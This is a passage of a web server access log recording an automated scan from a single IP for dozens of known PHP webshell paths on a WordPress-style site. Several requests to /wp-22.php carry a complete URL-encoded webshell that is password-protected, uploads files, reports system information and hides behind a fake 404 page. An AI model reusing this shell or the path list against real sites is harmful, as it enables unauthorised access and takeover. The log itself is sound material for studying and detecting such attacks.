/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:30 +0530] "GET /haxor.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:30 +0530] "GET /7.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:30 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:31 +0530] "GET /wp-includes/IXR/hunt.php HTTP/1.1" 302 244 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:31 +0530] "GET /wp-includes/radio.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:31 +0530] "GET /.wp-back.phP HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:31 +0530] "GET /srx.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:33 +0530] "GET /templates/beez_20/index.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:33 +0530] "GET /mailer.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:33 +0530] "GET /wp-file.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:33 +0530] "GET /cp.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:33 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:34 +0530] "GET /i.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:35 +0530] "GET /ups.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:36 +0530] "GET /t.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:38 +0530] "GET /wp-includes/images/media/shellwso.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:40 +0530] "GET /w3llstore.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:40 +0530] "GET /7yn.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:40 +0530] "GET /xmlrpcs.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:41 +0530] "GET /.wp-cache.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:41 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:41 +0530] "GET /87.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:42 +0530] "GET /wp-content/images/wolf-shell.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:42 +0530] "GET /wp-includes/sys.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:44 +0530] "GET /wp-content/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 263 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:44 +0530] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:45 +0530] "GET /fa.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:45 +0530] "GET /.well-known/radio.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:45 +0530] "GET /xz.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:46 +0530] "GET /6.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:46 +0530] "GET /server.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:47 +0530] "GET /xxx.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:47 +0530] "GET /wp-content/plugins/config.bak.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:48 +0530] "GET /lf.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:48 +0530] "GET /b.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:49 +0530] "GET /wp-content/bala.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:49 +0530] "GET /8index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:49 +0530] "GET /l.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:49 +0530] "GET /wp-admin/js/widgets/wp-contact.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:50 +0530] "GET /upel.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:51 +0530] "GET /wp-includes/IXR/hunt.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:51 +0530] "GET /wikindex.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:52 +0530] "GET /wp-content/themes/twentytwentytwo/content-index.php HTTP/1.1" 302 271 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:52 +0530] "GET /Marvins.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:52 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:42:53 +0530] "GET /gel4y.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:53 +0530] "GET /wp-content/uploads/jcjjjjcjjc.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:53 +0530] "GET /MARIJUANA.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:56 +0530] "GET /libraries/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 262 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:56 +0530] "GET /cp.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:56 +0530] "GET /templates/+theme+/error.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:57 +0530] "GET /.wp-back.phP HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:59 +0530] "GET /x.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:59 +0530] "GET /wp-includes/wp-class.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:59 +0530] "GET /kiss.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:42:59 +0530] "GET /wp-includes/widgets/class-wp-widget-tags.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:43:00 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36